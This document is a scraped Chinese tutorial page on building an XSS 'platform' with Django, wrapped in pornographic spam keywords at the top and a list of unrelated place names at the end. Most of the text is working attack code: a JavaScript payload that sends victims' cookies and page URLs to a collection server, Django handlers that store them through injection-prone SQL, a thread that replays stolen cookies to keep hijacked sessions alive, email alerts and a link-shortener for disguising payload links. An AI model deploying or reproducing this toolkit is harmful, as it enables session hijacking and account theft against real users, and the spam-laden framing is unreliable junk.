最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

使用Django簡(jiǎn)單編寫一個(gè)XSS平臺(tái)的方法步驟

 更新時(shí)間:2019年03月25日 08:24:19   作者:Yunen  
這篇文章主要介紹了使用Django簡(jiǎn)單編寫一個(gè)XSS平臺(tái)的方法步驟,小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,也給大家做個(gè)參考。一起跟隨小編過(guò)來(lái)看看吧

1) 簡(jiǎn)要描述

原理十分簡(jiǎn)單2333,代碼呆萌,大牛勿噴 >_<

2) 基礎(chǔ)知識(shí)

  • XSS攻擊基本原理和利用方法
  • Django框架的使用

3) Let's start

0x01

工欲善其事必先利其器,首先我們需要準(zhǔn)備編寫代碼的各種工具和環(huán)境,這里不細(xì)說(shuō)。我這里的環(huán)境和工具如下:

  • python 3.7.0
  • pycharm
  • windows 10
  • mysql 8.0.15
  • Django 2.1.3

需要用到的第三方庫(kù):

  • django
  • pymysql
  • requests

0x02

我們先看一下XSS腳本是如何工作的

var website = "http://127.0.0.1"; (function() { (new Image()).src = website + '/?keepsession=1&location=' + escape((function() {
    try {
      return document.location.href
    } catch(e) {
      return ''
    }
  })()) + '&toplocation=' + escape((function() {
    try {
      return top.location.href
    } catch(e) {
      return ''
    }
  })()) + '&cookie=' + escape((function() {
    try {
      return document.cookie
    } catch(e) {
      return ''
    }
  })()) + '&opener=' + escape((function() {
    try {
      return (window.opener && window.opener.location.href) ? window.opener.location.href: ''
    } catch(e) {
      return ''
    }
  })());
})();

這段代碼非常簡(jiǎn)單,就是通過(guò)javascript獲取有用信息,然后通過(guò)訪問(wèn)xss平臺(tái)將信息作為GET參數(shù)傳給服務(wù)器。

注意:這里使用AJAX可能會(huì)出現(xiàn)CORS跨域問(wèn)題。

0x03

先給出關(guān)鍵代碼,其他都是Django相關(guān)的內(nèi)容,這里不做相關(guān)討論。

"""
根據(jù)url值動(dòng)態(tài)返回相應(yīng)的javascript代碼
"""
import pymysql,os
from user.safeio import re_check

def get_info(url):
  if not re_check(url,'num_letter'):
    return 'default'
  db = pymysql.connect('localhost','root','root','xss')
  cursor = db.cursor()
  cursor.execute("Select name From projects Where url='"+url+"'")
  js_name = cursor.fetchone()[0]
  if js_name == None:
    return 'default'
  else:
    return (js_name)

def get_js_value(url):
  js_name = get_info(url)
  file = '\\script\\'+js_name + '.js'
  js_value = open(os.getcwd()+file).read()
  js_value = js_value.replace('<-1234->',url)
  return js_value
import pymysql,time
from .getscript import get_info

def connect():
  try:
    db = pymysql.connect('localhost', 'root', 'root', 'xss')
    cursor = db.cursor()
    return db,cursor
  except:
    print('連接數(shù)據(jù)庫(kù)失敗,正在嘗試重新連接')
    connect()

def put_letter(requests,url):
  now_time = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))[2:]
  if 'HTTP_X_FORWARDED_FOR' in requests.META:
    ip = requests.META['HTTP_X_FORWARDED_FOR']
  else:
    try:
      ip = requests.META['REMOTE_ADDR']
    except:
      ip = '0.0.0.0'
  ip = ip.replace("'","\'")
  origin = requests.GET.get('location','Unknown').replace("'","\'")
  software = requests.META.get('HTTP_USER_AGENT','Unknown').replace("'","\'")
  method = requests.method.replace("'","\'")
  data = requests.GET.get('cookie','No data').replace("'","\'")
  keep_alive = requests.GET.get('keepsession','0').replace("'","\'")
  list = [now_time,ip,origin,software,method,data,keep_alive]
  put_mysql(list,url)

def put_mysql(list,url):
  db,cursor = connect()
  name = get_info(url)
  cursor.execute("Select user From projects Where url='"+url+"'")
  user = cursor.fetchone()[0]
  m_query = "INSERT INTO letters(time,name,ip,origin,software,method,data,user,keep_alive) VALUES('{0}','{1}','{2}','{3}','{4}','{5}','{6}','{7}','{8}')"
  m_query = m_query.format(list[0],name,list[1],list[2],list[3],list[4],list[5],user,list[6])
  cursor.execute(m_query)
  db.commit()
  db.close()

def get_letters(username):
  db, cursor = connect()
  m_query = "SELECT * FROM letters WHERE user = '{}'"
  m_query = m_query.format(username)
  cursor.execute(m_query)
  result_list = cursor.fetchall()
  return result_list

既然我們知道了xss腳本會(huì)將信息構(gòu)造通過(guò)GET的參數(shù)形式傳給XSS平臺(tái),我們只需在服務(wù)器接受數(shù)據(jù)并保存即可。

0x04

我們可以為我們的平臺(tái)編寫新的功能以完善我們的平臺(tái),如郵件提醒,cookie活性保持等

#coding=utf-8

'''
郵件發(fā)送
'''

import smtplib
from email.mime.text import MIMEText
from email.utils import formataddr

my_sender='xxxx'
my_pass = 'xxxx'

def send_mail(user_mail):
  try:
    print(user_mail)
    msg=MIMEText('您點(diǎn)的外賣已送達(dá),請(qǐng)登錄平臺(tái)查詢','plain','utf-8')
    msg['From']=formataddr(["XSS平臺(tái)",my_sender])
    msg['To']=formataddr(["顧客",user_mail])
    msg['Subject']="您點(diǎn)的外賣已送達(dá),請(qǐng)登錄平臺(tái)查詢"
    server=smtplib.SMTP_SSL("smtp.qq.com", 465)
    server.login(my_sender, my_pass)
    server.sendmail(my_sender,[user_mail,],msg.as_string())
    server.quit()
  except Exception:
    pass
'''

使用獨(dú)立于主線程的其他線程


來(lái)保持通用項(xiàng)目的cookie信息'活性'


默認(rèn)保持一個(gè)小時(shí)的活性
'''

import requests,queue,time,pymysql

Cookie_Time = 1

def decrease(time,number):
  if time < number:
    time = '0'+str(time)
  else:
    time = str(time)
  return time

def count_time(now_time):
  global Cookie_Time
  year = int(now_time[0:2])
  month = int(now_time[3:5])
  day = int(now_time[6:8])
  hours = int(now_time[9:11])
  if hours < Cookie_Time:
    if day == 1:
      if month == 1:
        month=12
        year -= 1
      else:
        day=30
        month -= 1
    else:
      day -= 1
      hours += 19
  else:
    hours -= 5
  hours = decrease(hours,10)
  day = decrease(day,10)
  month = decrease(month,10)
  year = decrease(year,10)
  dec_time = ("{0}-{1}-{2} {3}").format(year,month,day,hours) + now_time[11:]
  return dec_time

def create_queue():
  Cookie_queue = queue.Queue()
  now_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time()))[2:]
  dec_time = count_time(now_time)
  m_query = ("SELECT software,origin,data FROM letters WHERE name='default' and time>'{}' and keep_alive = '1'").format(dec_time)
  db = pymysql.connect('127.0.0.1','root','root','xss')
  cursor = db.cursor()
  cursor.execute(m_query)
  return_list = cursor.fetchall()
  for x in return_list:
    Cookie_queue.put(x)
  return Cookie_queue

def action():
  while True:
    time.sleep(60)
    task_queue = create_queue()
    while not task_queue.empty():
      tasks = task_queue.get()
      url = tasks[1]
      ua = tasks[0]
      cookie = tasks[2]
      headers = {'User-Agent': ua, 'Cookie': cookie}
      try:
        requests.get(url, headers=headers)
      except:
        pass

注意這里需要使用獨(dú)立于django主線程的子線程,比如我在manager.py里添加了這么一段代碼:

import threading
from xssplatform.keep_alive import action

class keep_Thread(threading.Thread):
  def __init__(self):
    super(keep_Thread,self).__init__()
  def run(self):
    action()

if __name__ == '__main__':
  th = keep_Thread()
  th.start()

短鏈接:

'''
短鏈接生成
接口c7.gg
'''

import requests,json

Headers = {
  "accept" : "application/json, text/javascript, */*; q=0.01",
  "accept-encoding" : "gzip, deflate, br",
  "accept-language" : "zh-CN,zh;q=0.9,en;q=0.8",
  "content-length" : "53",
  "content-type" : "application/x-www-form-urlencoded; charset=UTF-8",
  "origin" : "https://www.985.so",
  "referer" : "https://www.985.so/",
  "user-agent" : "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36",
}

def url_to_short(url):
  global Headers
  data = {'type':'c7','url':url}
  r = requests.post('https://create.ft12.com/done.php?m=index&a=urlCreate',data=data,headers=Headers)
  list = json.loads(r.text)
  return list['list']

4) 最后

其實(shí)看起來(lái)高大上的XSS平臺(tái)原理就那么簡(jiǎn)單,真正難的部分是關(guān)于XSS跨站腳本的編寫。

此項(xiàng)目已開(kāi)源于 Github ,有任何問(wèn)題可以提交issue,我會(huì)在第一時(shí)間進(jìn)行回復(fù)。

以上就是本文的全部?jī)?nèi)容,希望對(duì)大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。

相關(guān)文章

  • 使用Python實(shí)現(xiàn)在Excel工作表中添加、修改及刪除超鏈接

    使用Python實(shí)現(xiàn)在Excel工作表中添加、修改及刪除超鏈接

    在創(chuàng)建Excel工作簿時(shí),內(nèi)部文檔的互鏈、報(bào)告自動(dòng)化生成或是創(chuàng)建外部資源快速訪問(wèn)路徑是比較常見(jiàn)的需求,本文將介紹如何使用Python實(shí)現(xiàn)在Excel工作表中對(duì)超鏈接進(jìn)行添加、修改及刪除的操作,需要的朋友可以參考下
    2024-10-10
  • Django執(zhí)行指定腳本的幾種方法

    Django執(zhí)行指定腳本的幾種方法

    這篇文章主要給大家介紹了關(guān)于Django執(zhí)行指定腳本的幾種方法,文中通過(guò)實(shí)例代碼介紹的非常詳細(xì),對(duì)大家學(xué)習(xí)或者使用Django具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友可以參考下
    2022-02-02
  • 淺談pytorch中torch.max和F.softmax函數(shù)的維度解釋

    淺談pytorch中torch.max和F.softmax函數(shù)的維度解釋

    這篇文章主要介紹了淺談pytorch中torch.max和F.softmax函數(shù)的維度解釋,具有很好的參考價(jià)值,希望對(duì)大家有所幫助。一起跟隨小編過(guò)來(lái)看看吧
    2020-06-06
  • Python處理PDF及生成多層PDF實(shí)例代碼

    Python處理PDF及生成多層PDF實(shí)例代碼

    Python提供了眾多的PDF支持庫(kù),本篇文章主要介紹了Python處理PDF及生成多層PDF實(shí)例代碼,這樣就能夠?qū)崿F(xiàn)圖片掃描上來(lái)的內(nèi)容也可以進(jìn)行內(nèi)容搜索的目標(biāo)
    2017-04-04
  • 編寫Python腳本把sqlAlchemy對(duì)象轉(zhuǎn)換成dict的教程

    編寫Python腳本把sqlAlchemy對(duì)象轉(zhuǎn)換成dict的教程

    這篇文章主要介紹了編寫Python腳本把sqlAlchemy對(duì)象轉(zhuǎn)換成dict的教程,主要是基于Python的model類構(gòu)建一個(gè)轉(zhuǎn)換的方法,需要的朋友可以參考下
    2015-05-05
  • Python之Numpy?常用函數(shù)總結(jié)

    Python之Numpy?常用函數(shù)總結(jié)

    這篇文章主要介紹了Python之Numpy?常用函數(shù)總結(jié),文章圍繞主題展開(kāi)詳細(xì)的內(nèi)容介紹,具有一定的參考價(jià)值,需要的小伙伴可以參考一下
    2022-07-07
  • Python 字符串操作方法大全

    Python 字符串操作方法大全

    python字符串操作實(shí)方法大合集,包括了幾乎所有常用的python字符串操作,如字符串的替換、刪除、截取、復(fù)制、連接、比較、查找、分割等,需要的朋友可以參考下
    2014-03-03
  • 基于python詳解PyScript到底是什么

    基于python詳解PyScript到底是什么

    這篇文章主要介紹了基于python詳解PyScript到底是什么?文章圍繞主題展開(kāi)詳細(xì)的內(nèi)容介紹,具有一定的參考價(jià)值需要的朋友可以參考一下下面文章內(nèi)容
    2022-06-06
  • python抓取京東商城手機(jī)列表url實(shí)例代碼

    python抓取京東商城手機(jī)列表url實(shí)例代碼

    python抓取京東商城手機(jī)列表url實(shí)例分享,大家參考使用吧
    2013-12-12
  • pandas實(shí)現(xiàn)處理TB級(jí)別的數(shù)據(jù)

    pandas實(shí)現(xiàn)處理TB級(jí)別的數(shù)據(jù)

    這篇文章主要介紹了pandas實(shí)現(xiàn)處理TB級(jí)別的數(shù)據(jù),具有很好的參考價(jià)值,希望對(duì)大家有所幫助,如有錯(cuò)誤或未考慮完全的地方,望不吝賜教
    2025-04-04

最新評(píng)論

明星| 常熟市| 藁城市| 保德县| 东平县| 嘉祥县| 施秉县| 平安县| 墨脱县| 龙泉市| 屯昌县| 北川| 沙坪坝区| 马公市| 武定县| 陈巴尔虎旗| 皋兰县| 常宁市| 达尔| 黄大仙区| 克东县| 玛多县| 厦门市| 随州市| 客服| 五家渠市| 章丘市| 察哈| 新竹市| 天祝| 开鲁县| 罗城| 凤阳县| 乌拉特前旗| 嘉祥县| 防城港市| 宾川县| 淳化县| 洱源县| 正阳县| 益阳市|